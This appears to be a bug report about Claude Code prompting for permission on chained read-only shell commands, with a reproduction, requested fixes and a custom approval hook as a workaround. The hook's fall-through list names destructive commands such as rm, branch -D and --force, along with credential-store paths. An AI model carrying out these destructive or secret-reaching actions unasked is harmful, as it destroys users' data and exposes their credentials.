Compound-command permission prompting makes multi-session orchestration unusable (700+ prompts on non-mutating chains)

Summary

Claude Code's Bash permission system prompts on compound commands even when every segment is individually allowlisted, which makes multi-session / fan-out orchestration workflows painful to unusable. Over two days of running parallel-session workflows I approved 700+ prompts on chained commands that perform no mutation (cd, ls, git status/log/diff, gh pr list).

Environment

• Claude Code on Windows 11, Max plan
• Multi-session orchestration: parallel worktrees, fan-out subagents, status-check sessions that emit chained inspection commands

The mechanism (as documented under permissions → "Compound commands")

For a compound command (A && B && C), Claude Code:

1. splits on && || ; | & and requires every segment to independently match an allow rule,
2. persists at most ~5 saved rules for a single compound command, and
3. scores cd <path> as a path-read, not a Bash(cd:*) match.

Net effect: a 6-segment chain of individually-allowlisted, non-mutating reads still prompts, and no amount of allowlist tuning fixes it. In my case a session with 900+ combined allow rules (user + project + a 700-rule local file that had accumulated from clicking "allow") still prompted on cd X && git status -sb && echo --- && git log --oneline -5 && echo --- && gh pr list.

Reproduction

1. Allowlist Bash(cd:*), Bash(git status:*), Bash(git log:*), Bash(echo:*), Bash(gh pr:*).
2. In a fresh session, run them as one chain:

cd /some/repo && git status -sb && echo --- && git log --oneline -5 && echo --- && gh pr list

1. Observe: the command still triggers a permission prompt despite every segment being covered.

Why this is severe (not cosmetic)

• It breaks the core value proposition of multi-session/agentic orchestration, where chained and fan-out commands are the normal shape of work, not an edge case.
• It trains a rubber-stamp reflex — hundreds of benign prompts condition the user to left-click without reading, which degrades the security value of the prompts that should actually stop them (a rm -rf, a force-push).
• Mid-run allowlist changes don't reach already-running subagents/fan-outs (they appear to snapshot permission rules at spawn), so a fan-out floods prompts even after the allowlist is corrected.

Requested fix (any of)

1. Auto-approve a compound command when every decomposed segment independently matches an allow rule — remove the ~5-rule ceiling for evaluation.
2. Don't score cd into a subdirectory of the workspace as a gating path-read.
3. Ship a built-in "safe read-only command" auto-allow that survives chaining (so cd/ls/git status/gh pr list never prompt regardless of how they're joined).

Current workaround (shouldn't be necessary)

A custom fail-closed PreToolUse hook that parses the whole command, splits on shell operators, and returns permissionDecision: "allow" only when every segment is provably non-destructive — falling through to a normal prompt for any mutation (rm, reset, clean, --force, branch -D, gh api --method PUT, command substitution, non-/dev/null write redirects, credential-store paths). It works, but end users shouldn't have to build a security control to stop being prompted for cd and git status.